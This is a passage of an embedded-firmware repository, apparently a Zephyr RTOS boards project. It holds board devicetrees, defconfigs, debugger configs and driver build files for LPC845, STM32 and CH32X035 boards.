3 | include(${ZEPHYR_BASE}/boards/common/pyocd.board.cmake) 4 | include(${ZEPHYR_BASE}/boards/common/openocd.board.cmake) 5 | -------------------------------------------------------------------------------- /boards/others/lpc845_lin/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: lpc845_lin 3 | vendor: others 4 | socs: 5 | - name: lpc845 6 | -------------------------------------------------------------------------------- /boards/others/lpc845_lin/lpc845_lin.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include 4 | 5 | / { 6 | model = "LPC845 LIN Breakout"; 7 | compatible = "nxp,lpc"; 8 | 9 | chosen { 10 | zephyr,sram = &sram0; 11 | zephyr,flash = &flash0; 12 | zephyr,console = &uart0; 13 | }; 14 | 15 | aliases { 16 | led0 = &led_r; 17 | led1 = &led_g; 18 | led2 = &led_b; 19 | }; 20 | 21 | leds { 22 | compatible = "gpio-leds"; 23 | led_r: led_r { gpios = <&gpio0 1 GPIO_ACTIVE_LOW>; }; 24 | led_b: led_b { gpios = <&gpio0 9 GPIO_ACTIVE_LOW>; }; 25 | led_g: led_g { gpios = <&gpio0 8 GPIO_ACTIVE_LOW>; }; 26 | pwr_en: pwr_en { gpios = <&gpio0 0 GPIO_ACTIVE_HIGH>; }; 27 | }; 28 | }; 29 | 30 | &uart0 { 31 | status = "okay"; 32 | pinctrl = ; 33 | current-speed = <115200>; 34 | }; 35 | 36 | &uart1 { 37 | status = "okay"; 38 | pinctrl = ; 39 | current-speed = <19200>; 40 | lin0: lin0 { 41 | compatible = "virtual,lin-uart"; 42 | status = "okay"; 43 | bitrate = <19200>; 44 | }; 45 | }; 46 | 47 | &uart2 { 48 | status = "okay"; 49 | pinctrl = ; 50 | current-speed = <19200>; 51 | lin1: lin1 { 52 | compatible = "virtual,lin-uart"; 53 | status = "okay"; 54 | bitrate = <19200>; 55 | }; 56 | }; 57 | 58 | &uart3 { 59 | status = "okay"; 60 | pinctrl = ; 61 | current-speed = <19200>; 62 | lin2: lin2 { 63 | compatible = "virtual,lin-uart"; 64 | status = "okay"; 65 | bitrate = <19200>; 66 | }; 67 | }; 68 | 69 | &uart4 { 70 | status = "okay"; 71 | pinctrl = ; 72 | current-speed = <19200>; 73 | lin3: lin3 { 74 | compatible = "virtual,lin-uart"; 75 | status = "okay"; 76 | bitrate = <19200>; 77 | }; 78 | }; 79 | 80 | &gpio0 { 81 | status = "okay"; 82 | }; 83 | 84 | &gpio1 { 85 | status = "okay"; 86 | }; 87 | -------------------------------------------------------------------------------- /boards/others/lpc845_lin/lpc845_lin_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC=30000000 2 | 3 | CONFIG_SERIAL=y 4 | CONFIG_CONSOLE=y 5 | CONFIG_UART_CONSOLE=y 6 | 7 | CONFIG_GPIO=y 8 | 9 | CONFIG_BUILD_OUTPUT_HEX=y 10 | -------------------------------------------------------------------------------- /boards/others/lpc845_lin/support/openocd.cfg: -------------------------------------------------------------------------------- 1 | source [find interface/cmsis-dap.cfg] 2 | transport select swd 3 | source [find target/lpc84x.cfg] 4 | -------------------------------------------------------------------------------- /boards/others/nogusb/Kconfig.nogusb: -------------------------------------------------------------------------------- 1 | config BOARD_NOGUSB 2 | select SOC_STM32G0B1XX 3 | -------------------------------------------------------------------------------- /boards/others/nogusb/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(stm32cubeprogrammer "--port=swd") 2 | board_runner_args(jlink "--device=STM32G0B1RE" "--speed=4000") 3 | 4 | include(${ZEPHYR_BASE}/boards/common/stm32cubeprogrammer.board.cmake) 5 | include(${ZEPHYR_BASE}/boards/common/jlink.board.cmake) 6 | -------------------------------------------------------------------------------- /boards/others/nogusb/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: nogusb 3 | vendor: others 4 | socs: 5 | - name: stm32g0b1xx 6 | -------------------------------------------------------------------------------- /boards/others/nogusb/mcuboot.conf: -------------------------------------------------------------------------------- 1 | # copy as boards/nogusb.conf in bootloader/mcuboot/boot/zephyr before compiling 2 | 3 | CONFIG_SINGLE_APPLICATION_SLOT=y 4 | CONFIG_MCUBOOT_INDICATION_LED=y 5 | CONFIG_BOOT_USB_DFU_GPIO=y 6 | -------------------------------------------------------------------------------- /boards/others/nogusb/nogusb.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include 4 | 5 | / { 6 | model = "NOGUSB STM32G0B1KET6N Development Board"; 7 | compatible = "st,stm32g0b1ke"; 8 | 9 | chosen { 10 | zephyr,console = &usart5; 11 | zephyr,sram = &sram0; 12 | zephyr,flash = &flash0; 13 | zephyr,code-partition = &slot0_partition; 14 | }; 15 | 16 | aliases { 17 | led0 = &led_red; 18 | led1 = &led_green; 19 | led2 = &led_blue; 20 | sw0 = &dbg_1; 21 | sw1 = &dbg_2; 22 | mcuboot-led0 = &led_blue; 23 | mcuboot-button0 = &dbg_1; 24 | }; 25 | 26 | leds { 27 | compatible = "gpio-leds"; 28 | led_red: led_0 { gpios = <&gpiob 9 GPIO_ACTIVE_LOW>; }; 29 | led_green: led_1 { gpios = <&gpiob 8 GPIO_ACTIVE_LOW>; }; 30 | led_blue: led_2 { gpios = <&gpiob 7 GPIO_ACTIVE_LOW>; }; 31 | }; 32 | 33 | buttons { 34 | compatible = "gpio-keys"; 35 | dbg_1: button_0 { gpios = <&gpioc 14 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 36 | dbg_2: button_1 { gpios = <&gpioc 15 (GPIO_ACTIVE_LOW | GPIO_PULL_UP)>; }; 37 | }; 38 | }; 39 | 40 | &clk_hsi { 41 | status = "okay"; 42 | }; 43 | 44 | &clk_hsi48 { 45 | status = "okay"; 46 | }; 47 | 48 | &pll { // 64 MHz 49 | status = "okay"; 50 | div-m = <1>; 51 | mul-n = <8>; 52 | div-p = <2>; 53 | div-q = <2>; 54 | div-r = <2>; 55 | clocks = <&clk_hsi>; 56 | }; 57 | 58 | &rcc { 59 | clocks = <&pll>; 60 | clock-frequency = ; 61 | ahb-prescaler = <1>; 62 | apb1-prescaler = <1>; 63 | }; 64 | 65 | &flash0 { 66 | partitions { 67 | compatible = "fixed-partitions"; 68 | #address-cells = <1>; 69 | #size-cells = <1>; 70 | boot_partition: partition@0 { 71 | label = "mcuboot"; 72 | reg = <0x00000000 0x00010000>; // 64KiB 73 | read-only; 74 | }; 75 | slot0_partition: partition@10000 { 76 | label = "image-0"; 77 | reg = <0x00010000 0x00070000>; // 448KiB 78 | }; 79 | }; 80 | }; 81 | 82 | &usart5 { 83 | status = "okay"; 84 | pinctrl-0 = <&usart5_tx_pd3 &usart5_rx_pd2>; 85 | pinctrl-names = "default"; 86 | current-speed = <115200>; 87 | }; 88 | 89 | zephyr_udc0: &usb { 90 | status = "okay"; 91 | pinctrl-0 = <&usb_dm_pa11 &usb_dp_pa12>; 92 | pinctrl-names = "default"; 93 | }; 94 | 95 | &ucpd1 { 96 | status = "okay"; 97 | interrupts = <30 0>; // interferes w/ usb, remap to unused CEC irq 98 | dead-battery; 99 | psc-ucpdclk = <1>; 100 | hbitclkdiv = <27>; 101 | pinctrl-0 = <&ucpd1_cc1_pa8 &ucpd1_cc2_pb15>; 102 | pinctrl-names = "default"; 103 | }; 104 | 105 | &adc1 { 106 | status = "okay"; 107 | st,adc-clock-source = ; 108 | st,adc-prescaler = <4>; 109 | pinctrl-0 = <&adc1_in1_pa1>; 110 | pinctrl-names = "default"; 111 | }; 112 | 113 | &spi2 { 114 | status = "okay"; 115 | pinctrl-0 = <&spi2_sck_pa0 &spi2_miso_pa3 &spi2_mosi_pa4>; 116 | pinctrl-names = "default"; 117 | }; 118 | 119 | &i2c2 { 120 | status = "okay"; 121 | clock-frequency = ; 122 | pinctrl-0 = <&i2c2_scl_pa7 &i2c2_sda_pa6>; 123 | pinctrl-names = "default"; 124 | }; 125 | 126 | &dac1 { 127 | status = "okay"; 128 | pinctrl-0 = <&dac1_out2_pa5>; 129 | pinctrl-names = "default"; 130 | }; 131 | 132 | &fdcan1 { 133 | status = "okay"; 134 | pinctrl-0 = <&fdcan1_rx_pd0 &fdcan1_tx_pd1>; 135 | pinctrl-names = "default"; 136 | }; 137 | 138 | &rtc { 139 | status = "okay"; 140 | }; 141 | 142 | &iwdg { 143 | status = "okay"; 144 | }; 145 | -------------------------------------------------------------------------------- /boards/others/nogusb/nogusb_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_ARM_MPU=y 2 | CONFIG_CLOCK_CONTROL=y 3 | CONFIG_PINCTRL=y 4 | CONFIG_USBC_TCPC_DRIVER=y 5 | 6 | CONFIG_SERIAL=y 7 | CONFIG_CONSOLE=y 8 | CONFIG_UART_CONSOLE=y 9 | 10 | CONFIG_GPIO=y 11 | 12 | CONFIG_BUILD_OUTPUT_HEX=y 13 | CONFIG_BOOTLOADER_MCUBOOT=y 14 | CONFIG_MCUBOOT_SIGNATURE_KEY_FILE="bootloader/mcuboot/root-rsa-2048.pem" 15 | # dfu-util -D build/zephyr/zephyr.signed.bin 16 | -------------------------------------------------------------------------------- /boards/others/stm32_esc/Kconfig.stm32_esc: -------------------------------------------------------------------------------- 1 | config BOARD_STM32_ESC 2 | select SOC_STM32F103XB 3 | -------------------------------------------------------------------------------- /boards/others/stm32_esc/board.cmake: -------------------------------------------------------------------------------- 1 | board_runner_args(stm32cubeprogrammer "--port=swd" "--reset-mode=hw") 2 | 3 | include(${ZEPHYR_BASE}/boards/common/stm32cubeprogrammer.board.cmake) 4 | include(${ZEPHYR_BASE}/boards/common/openocd.board.cmake) 5 | -------------------------------------------------------------------------------- /boards/others/stm32_esc/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: stm32_esc 3 | vendor: others 4 | socs: 5 | - name: stm32f103xb 6 | -------------------------------------------------------------------------------- /boards/others/stm32_esc/stm32_esc_defconfig: -------------------------------------------------------------------------------- 1 | CONFIG_CLOCK_CONTROL=y 2 | CONFIG_PINCTRL=y 3 | 4 | CONFIG_SERIAL=y 5 | CONFIG_CONSOLE=y 6 | CONFIG_UART_CONSOLE=y 7 | 8 | CONFIG_GPIO=y 9 | -------------------------------------------------------------------------------- /boards/others/stm32_esc/support/openocd.cfg: -------------------------------------------------------------------------------- 1 | source [find interface/stlink.cfg] 2 | source [find target/stm32f1x.cfg] 3 | -------------------------------------------------------------------------------- /boards/others/usb_pdmon/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library() 2 | zephyr_library_sources(board.c) 3 | -------------------------------------------------------------------------------- /boards/others/usb_pdmon/Kconfig.usb_pdmon: -------------------------------------------------------------------------------- 1 | config BOARD_USB_PDMON 2 | select SOC_CH32X035 3 | -------------------------------------------------------------------------------- /boards/others/usb_pdmon/board.cmake: -------------------------------------------------------------------------------- 1 | if (DEFINED ENV{WCH_RISCV_OPENOCD_BIN}) # specify openocd like from https://github.com/dragonlock2/miscboards/tree/main/wch 2 | set(OPENOCD $ENV{WCH_RISCV_OPENOCD_BIN}) 3 | endif() 4 | 5 | board_runner_args(openocd "--config=${CMAKE_CURRENT_LIST_DIR}/support/wch-riscv.cfg") # from http://www.mounriver.com/download 6 | 7 | include(${ZEPHYR_BASE}/boards/common/openocd.board.cmake) 8 | -------------------------------------------------------------------------------- /boards/others/usb_pdmon/board.yml: -------------------------------------------------------------------------------- 1 | board: 2 | name: usb_pdmon 3 | vendor: others 4 | socs: 5 | - name: ch32x035 6 | -------------------------------------------------------------------------------- /boards/others/usb_pdmon/support/wch-riscv.cfg: -------------------------------------------------------------------------------- 1 | #interface wlink 2 | adapter driver wlinke 3 | adapter speed 6000 4 | transport select sdi 5 | 6 | wlink_set_address 0x00000000 7 | set _CHIPNAME wch_riscv 8 | sdi newtap $_CHIPNAME cpu -irlen 5 -expected-id 0x00001 9 | 10 | set _TARGETNAME $_CHIPNAME.cpu 11 | 12 | target create $_TARGETNAME.0 wch_riscv -chain-position $_TARGETNAME 13 | $_TARGETNAME.0 configure -work-area-phys 0x20000000 -work-area-size 10000 -work-area-backup 1 14 | set _FLASHNAME $_CHIPNAME.flash 15 | 16 | flash bank $_FLASHNAME wch_riscv 0x00000000 0 0 0 $_TARGETNAME.0 17 | 18 | echo "Ready for Remote Connections" 19 | -------------------------------------------------------------------------------- /boards/others/usb_pdmon/usb_pdmon.dts: -------------------------------------------------------------------------------- 1 | /dts-v1/; 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | / { 9 | model = "usb_pdmon"; 10 | compatible = "wch,ch32x035"; 11 | 12 | chosen { 13 | zephyr,sram = &sram0; 14 | zephyr,flash = &flash0; 15 | zephyr,console = &usart1; 16 | }; 17 | 18 | aliases { 19 | led0 = &led_r; 20 | led1 = &led_g; 21 | led2 = &led_b; 22 | }; 23 | 24 | leds { 25 | compatible = "gpio-leds"; 26 | led_r: led_r { gpios = <&gpioa 7 GPIO_ACTIVE_LOW>; }; 27 | led_g: led_g { gpios = <&gpiob 3 GPIO_ACTIVE_LOW>; }; 28 | led_b: led_b { gpios = <&gpiob 0 GPIO_ACTIVE_LOW>; }; 29 | vbus_en: vbus_en { gpios = <&gpioc 3 GPIO_ACTIVE_HIGH>; }; 30 | }; 31 | 32 | ports { 33 | #address-cells = <1>; 34 | #size-cells = <0>; 35 | port1: usbc-port@1 { 36 | compatible = "usb-c-connector"; 37 | reg = <1>; 38 | tcpc = <&usbpd>; 39 | vbus = <&vbus1>; 40 | power-role = "sink"; 41 | sink-pdos = < 42 | PDO_FIXED(5000, 3000, 0) /* 5V, 3A */ 43 | PDO_FIXED(9000, 3000, 0) /* 9V, 3A */ 44 | PDO_FIXED(15000, 3000, 0) /* 15V, 3A */ 45 | PDO_FIXED(20000, 5000, 0) /* 20V, 5A */ 46 | >; 47 | }; 48 | }; 49 | }; 50 | 51 | &usart1 { 52 | status = "okay"; 53 | remap = ; 54 | current-speed = <115200>; 55 | pinctrl = ; 56 | }; 57 | 58 | &usart2 { 59 | status = "okay"; 60 | current-speed = <19200>; 61 | pinctrl = ; 62 | lin0: lin0 { 63 | compatible = "virtual,lin-uart"; 64 | status = "okay"; 65 | bitrate = <19200>; 66 | }; 67 | }; 68 | 69 | &gpioa { 70 | status = "okay"; 71 | }; 72 | 73 | &gpiob { 74 | status = "okay"; 75 | }; 76 | 77 | &gpioc { 78 | status = "okay"; 79 | }; 80 | 81 | &adc1 { 82 | status = "okay"; 83 | vref-mv = <3300>; // mV 84 | prescaler = ; 85 | 86 | ibus_mon: channel@0 { 87 | reg = <0>; 88 | zephyr,gain = "ADC_GAIN_1"; 89 | zephyr,reference = "ADC_REF_INTERNAL"; 90 | zephyr,acquisition-time = ; 91 | zephyr,resolution = <12>; 92 | }; 93 | 94 | vbus_mon: channel@1 { 95 | reg = <1>; 96 | zephyr,gain = "ADC_GAIN_1"; 97 | zephyr,reference = "ADC_REF_INTERNAL"; 98 | zephyr,acquisition-time = ; 99 | zephyr,resolution = <12>; 100 | }; 101 | 102 | vbus1: vbus { 103 | compatible = "zephyr,usb-c-vbus-adc"; 104 | io-channels = <&adc1 1>; // vbus_mon 105 | output-ohms = <10000>; 106 | full-ohms = <(100000 + 10000)>; 107 | power-gpios = <&gpioc 3 GPIO_ACTIVE_HIGH>; // vbus_en 108 | }; 109 | }; 110 | 111 | zephyr_udc0: &usbfs { 112 | status = "okay"; 113 | }; 114 | 115 | &usbpd { 116 | status = "okay"; 117 | }; 118 | -------------------------------------------------------------------------------- /boards/others/usb_pdmon/usb_pdmon_defconfig: -------------------------------------------------------------------------------- 1 | # workaround for now, see wch_ch32/common/irq.c 2 | CONFIG_TRACING=y 3 | CONFIG_TRACING_USER=y 4 | 5 | CONFIG_SERIAL=y 6 | CONFIG_CONSOLE=y 7 | CONFIG_UART_CONSOLE=y 8 | 9 | CONFIG_GPIO=y 10 | 11 | # enable USB PD 12 | CONFIG_ADC=y 13 | CONFIG_USBC_TCPC_DRIVER=y 14 | CONFIG_USBC_VBUS_DRIVER=y 15 | -------------------------------------------------------------------------------- /drivers/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_subdirectory(usb) 2 | add_subdirectory(usb_c) 3 | 4 | add_subdirectory_ifdef(CONFIG_ADC adc) 5 | add_subdirectory_ifdef(CONFIG_GPIO gpio) 6 | add_subdirectory_ifdef(CONFIG_LIN lin) 7 | add_subdirectory_ifdef(CONFIG_SDHC sdhc) 8 | add_subdirectory_ifdef(CONFIG_SERIAL serial) 9 | -------------------------------------------------------------------------------- /drivers/Kconfig: -------------------------------------------------------------------------------- 1 | menu "zephyrboards drivers" 2 | 3 | rsource "adc/Kconfig" 4 | rsource "gpio/Kconfig" 5 | rsource "lin/Kconfig" 6 | rsource "sdhc/Kconfig" 7 | rsource "serial/Kconfig" 8 | rsource "usb/Kconfig" 9 | rsource "usb_c/Kconfig" 10 | 11 | endmenu 12 | -------------------------------------------------------------------------------- /drivers/adc/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library_amend() 2 | 3 | zephyr_library_sources_ifdef(CONFIG_ADC_CH32 adc_ch32.c) 4 | -------------------------------------------------------------------------------- /drivers/adc/Kconfig: -------------------------------------------------------------------------------- 1 | if ADC 2 | 3 | rsource "Kconfig.ch32" 4 | 5 | config ADC_INIT_PRIORITY 6 | int "ADC init priority" 7 | default KERNEL_INIT_PRIORITY_DEFAULT 8 | 9 | endif # ADC 10 | -------------------------------------------------------------------------------- /drivers/adc/Kconfig.ch32: -------------------------------------------------------------------------------- 1 | menuconfig ADC_CH32 2 | bool "CH32 ADC driver" 3 | default y 4 | depends on DT_HAS_WCH_CH32_ADC_ENABLED 5 | -------------------------------------------------------------------------------- /drivers/gpio/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library_amend() 2 | 3 | zephyr_library_sources_ifdef(CONFIG_GPIO_CH32 gpio_ch32.c) 4 | zephyr_library_sources_ifdef(CONFIG_GPIO_LPC84X gpio_lpc84x.c) 5 | 6 | if(CONFIG_GPIO_LPC84X) 7 | zephyr_include_directories(${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/lpc_gpio) 8 | zephyr_include_directories(${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/pint) 9 | zephyr_sources(${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/lpc_gpio/fsl_gpio.c) 10 | zephyr_sources(${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/pint/fsl_pint.c) 11 | endif() 12 | -------------------------------------------------------------------------------- /drivers/gpio/Kconfig: -------------------------------------------------------------------------------- 1 | if GPIO 2 | 3 | rsource "Kconfig.ch32" 4 | rsource "Kconfig.lpc84x" 5 | 6 | config GPIO_INIT_PRIORITY 7 | int "GPIO init priority" 8 | default KERNEL_INIT_PRIORITY_DEFAULT 9 | 10 | endif # GPIO 11 | -------------------------------------------------------------------------------- /drivers/gpio/Kconfig.ch32: -------------------------------------------------------------------------------- 1 | menuconfig GPIO_CH32 2 | bool "CH32 GPIO driver" 3 | default y 4 | depends on DT_HAS_WCH_CH32_GPIO_ENABLED 5 | -------------------------------------------------------------------------------- /drivers/gpio/Kconfig.lpc84x: -------------------------------------------------------------------------------- 1 | menuconfig GPIO_LPC84X 2 | bool "LPC84X GPIO driver" 3 | default y 4 | depends on DT_HAS_NXP_LPC84X_GPIO_ENABLED 5 | -------------------------------------------------------------------------------- /drivers/lin/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library() 2 | 3 | zephyr_library_sources_ifdef(CONFIG_LIN_UART lin_uart.c) 4 | -------------------------------------------------------------------------------- /drivers/lin/Kconfig: -------------------------------------------------------------------------------- 1 | # 2 | # LIN options 3 | # 4 | menuconfig LIN 5 | bool "LIN Drivers" 6 | help 7 | Enable LIN Driver Configuration 8 | 9 | if LIN 10 | 11 | module = LIN 12 | module-str = LIN 13 | source "subsys/logging/Kconfig.template.log_config" 14 | 15 | config LIN_INIT_PRIORITY 16 | int "LIN driver init priority" 17 | default KERNEL_INIT_PRIORITY_DEVICE 18 | help 19 | LIN driver device initialization priority. 20 | 21 | rsource "Kconfig.uart" 22 | 23 | endif # LIN 24 | -------------------------------------------------------------------------------- /drivers/lin/Kconfig.uart: -------------------------------------------------------------------------------- 1 | DT_COMPAT_VIRTUAL_LIN_UART := virtual,lin-uart 2 | 3 | config LIN_UART 4 | bool "LIN protocol over UART" 5 | default $(dt_compat_enabled,$(DT_COMPAT_VIRTUAL_LIN_UART)) 6 | select UART_INTERRUPT_DRIVEN 7 | help 8 | Enable the LIN UART driver 9 | -------------------------------------------------------------------------------- /drivers/sdhc/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library_amend() 2 | 3 | zephyr_library_sources_ifdef(CONFIG_MCUX_SDHC mcux_sdhc.c) 4 | 5 | if(CONFIG_MCUX_SDHC) 6 | zephyr_include_directories(${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/sdhc) 7 | zephyr_sources(${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/sdhc/fsl_sdhc.c) 8 | endif() 9 | -------------------------------------------------------------------------------- /drivers/sdhc/Kconfig: -------------------------------------------------------------------------------- 1 | if SDHC 2 | 3 | rsource "Kconfig.mcux_sdhc" 4 | 5 | endif # SDHC 6 | -------------------------------------------------------------------------------- /drivers/sdhc/Kconfig.mcux_sdhc: -------------------------------------------------------------------------------- 1 | menuconfig MCUX_SDHC 2 | bool "NXP MCUX SDHC driver" 3 | default y 4 | depends on DT_HAS_NXP_MCUX_SDHC_ENABLED 5 | select SDHC_SUPPORTS_NATIVE_MODE 6 | select PINCTRL 7 | -------------------------------------------------------------------------------- /drivers/serial/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library_amend() 2 | 3 | zephyr_library_sources_ifdef(CONFIG_UART_CH32 ch32_uart.c) 4 | zephyr_library_sources_ifdef(CONFIG_UART_LPC84X lpc84x_uart.c) 5 | 6 | if(CONFIG_UART_LPC84X) 7 | zephyr_include_directories(${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/lpc_miniusart) 8 | zephyr_sources(${ZEPHYR_HAL_NXP_MODULE_DIR}/mcux/mcux-sdk/drivers/lpc_miniusart/fsl_usart.c) 9 | endif() 10 | -------------------------------------------------------------------------------- /drivers/serial/Kconfig: -------------------------------------------------------------------------------- 1 | if SERIAL 2 | 3 | rsource "Kconfig.ch32" 4 | rsource "Kconfig.lpc84x" 5 | 6 | endif # SERIAL 7 | -------------------------------------------------------------------------------- /drivers/serial/Kconfig.ch32: -------------------------------------------------------------------------------- 1 | menuconfig UART_CH32 2 | bool "CH32 UART driver" 3 | default y 4 | depends on DT_HAS_WCH_CH32_UART_ENABLED 5 | select SERIAL_HAS_DRIVER 6 | select SERIAL_SUPPORT_INTERRUPT 7 | -------------------------------------------------------------------------------- /drivers/serial/Kconfig.lpc84x: -------------------------------------------------------------------------------- 1 | menuconfig UART_LPC84X 2 | bool "LPC84X UART driver" 3 | default y 4 | depends on DT_HAS_NXP_LPC84X_UART_ENABLED 5 | select SERIAL_HAS_DRIVER 6 | select SERIAL_SUPPORT_INTERRUPT 7 | -------------------------------------------------------------------------------- /drivers/usb/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_subdirectory_ifdef(CONFIG_USB_DEVICE_DRIVER device) 2 | -------------------------------------------------------------------------------- /drivers/usb/Kconfig: -------------------------------------------------------------------------------- 1 | rsource "device/Kconfig" 2 | -------------------------------------------------------------------------------- /drivers/usb/device/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library_amend() 2 | 3 | zephyr_library_sources_ifdef(CONFIG_USB_DC_CH32_USBFS usb_dc_ch32_usbfs.c) 4 | -------------------------------------------------------------------------------- /drivers/usb/device/Kconfig: -------------------------------------------------------------------------------- 1 | if USB_DEVICE_DRIVER 2 | 3 | menuconfig USB_DC_CH32_USBFS 4 | bool "USB device controller driver for WCH CH32 USBFS devices" 5 | default y 6 | depends on DT_HAS_WCH_CH32_USBFS_ENABLED 7 | 8 | endif 9 | -------------------------------------------------------------------------------- /drivers/usb_c/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_subdirectory_ifdef(CONFIG_USBC_TCPC_DRIVER tcpc) 2 | -------------------------------------------------------------------------------- /drivers/usb_c/Kconfig: -------------------------------------------------------------------------------- 1 | rsource "tcpc/Kconfig" 2 | -------------------------------------------------------------------------------- /drivers/usb_c/tcpc/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | zephyr_library_amend() 2 | 3 | zephyr_library_sources_ifdef(CONFIG_USBC_TCPC_CH32 ucpd_ch32.c) 4 | -------------------------------------------------------------------------------- /drivers/usb_c/tcpc/Kconfig: -------------------------------------------------------------------------------- 1 | if USBC_TCPC_DRIVER 2 | 3 | rsource "Kconfig.ch32" 4 | 5 | endif # USBC_TCPC_DRIVER 6 | -------------------------------------------------------------------------------- /drivers/usb_c/tcpc/Kconfig.ch32: -------------------------------------------------------------------------------- 1 | menuconfig USBC_TCPC_CH32 2 | bool "USB-C TCPC device controller driver" 3 | default y 4 | depends on DT_HAS_WCH_CH32_UCPD_ENABLED 5 | -------------------------------------------------------------------------------- /dts/arm/nxp/nxp_lpc844.dtsi: -------------------------------------------------------------------------------- 1 | #include 2 | -------------------------------------------------------------------------------- /dts/arm/nxp/nxp_lpc845.dtsi: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // access across RAM0 and RAM1 works 4 | &sram0 { 5 | reg = <0x10000000 DT_SIZE_K(16)>; 6 | }; 7 | -------------------------------------------------------------------------------- /dts/arm/nxp/nxp_lpc84x.dtsi: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include 6 | 7 | / { 8 | cpus { 9 | #address-cells = <1>; 10 | #size-cells = <0>; 11 | 12 | cpu0: cpu@0 { 13 | compatible = "arm,cortex-m0+"; 14 | reg = <0>; 15 | }; 16 | }; 17 | 18 | sram0: memory@10000000 { 19 | compatible = "mmio-sram"; 20 | reg = <0x10000000 DT_SIZE_K(8)>; 21 | }; 22 | 23 | soc { 24 | flash0: flash@0 { 25 | compatible = "soc-nv-flash"; 26 | reg = <0 DT_SIZE_K(64)>; 27 | }; 28 | 29 | // TODO clock driver for syscon 30 | // TODO pinctrl driver for swm 31 | 32 | uart0: serial@40064000 { 33 | compatible = "nxp,lpc84x-uart"; 34 | reg = <0x40064000 0x4000>; 35 | clk = ; 36 | interrupts = <3 2>; 37 | swm = ; 38 | status = "disabled"; 39 | }; 40 | 41 | uart1: serial@40068000 { 42 | compatible = "nxp,lpc84x-uart"; 43 | reg = <0x40068000 0x4000>; 44 | clk = ; 45 | interrupts = <4 2>; 46 | swm = ; 47 | status = "disabled"; 48 | }; 49 | 50 | uart2: serial@4006C000 { 51 | compatible = "nxp,lpc84x-uart"; 52 | reg = <0x4006C000 0x4000>; 53 | clk = ; 54 | interrupts = <5 2>; 55 | swm = ; 56 | status = "disabled"; 57 | }; 58 | 59 | uart3: serial@40070000 { 60 | compatible = "nxp,lpc84x-uart"; 61 | reg = <0x40070000 0x4000>; 62 | clk = ; 63 | interrupts = <30 2>; 64 | swm = ; 65 | status = "disabled"; 66 | }; 67 | 68 | uart4: serial@40074000 { 69 | compatible = "nxp,lpc84x-uart"; 70 | reg = <0x40074000 0x4000>; 71 | clk = ; 72 | interrupts = <31 2>; 73 | swm = ; 74 | status = "disabled"; 75 | }; 76 | 77 | gpio0: gpio0 { 78 | compatible = "nxp,lpc84x-gpio"; 79 | port = <0>; 80 | gpio-controller; 81 | #gpio-cells = <2>; 82 | status = "disabled"; 83 | }; 84 | 85 | gpio1: gpio1 { 86 | compatible = "nxp,lpc84x-gpio"; 87 | port = <1>; 88 | gpio-controller; 89 | #gpio-cells = <2>; 90 | status = "disabled"; 91 | }; 92 | }; 93 | }; 94 | 95 | &nvic { 96 | arm,num-irq-priority-bits = <2>; 97 | }; 98 | -------------------------------------------------------------------------------- /dts/bindings/adc/wch,ch32-adc.yaml: -------------------------------------------------------------------------------- 1 | description: CH32 ADC node 2 | 3 | compatible: "wch,ch32-adc" 4 | 5 | include: adc-controller.yaml 6 | 7 | properties: 8 | reg: 9 | required: true 10 | 11 | irq: 12 | type: array 13 | required: true 14 | 15 | clk: 16 | type: array 17 | required: true 18 | 19 | dma: 20 | type: array 21 | required: true 22 | description: DMA channel to use 23 | 24 | prescaler: 25 | type: int 26 | required: true 27 | description: ADC clock prescaler, use macros 28 | 29 | vref-mv: 30 | type: int 31 | required: true 32 | 33 | "#io-channel-cells": 34 | const: 1 35 | 36 | io-channel-cells: 37 | - input 38 | -------------------------------------------------------------------------------- /dts/bindings/gpio/nxp,lpc84x-gpio.yaml: -------------------------------------------------------------------------------- 1 | description: LPC84X GPIO node 2 | 3 | compatible: "nxp,lpc84x-gpio" 4 | 5 | include: [gpio-controller.yaml, base.yaml] 6 | 7 | properties: 8 | port: 9 | type: int 10 | required: true 11 | 12 | "#gpio-cells": 13 | const: 2 14 | 15 | gpio-cells: 16 | - pin 17 | - flags 18 | -------------------------------------------------------------------------------- /dts/bindings/gpio/wch,ch32-gpio.yaml: -------------------------------------------------------------------------------- 1 | description: CH32 GPIO node 2 | 3 | compatible: "wch,ch32-gpio" 4 | 5 | include: [gpio-controller.yaml, base.yaml] 6 | 7 | properties: 8 | clk: 9 | type: array 10 | required: true 11 | 12 | "#gpio-cells": 13 | const: 2 14 | 15 | gpio-cells: 16 | - pin 17 | - flags 18 | -------------------------------------------------------------------------------- /dts/bindings/lin/lin-controller.yaml: -------------------------------------------------------------------------------- 1 | 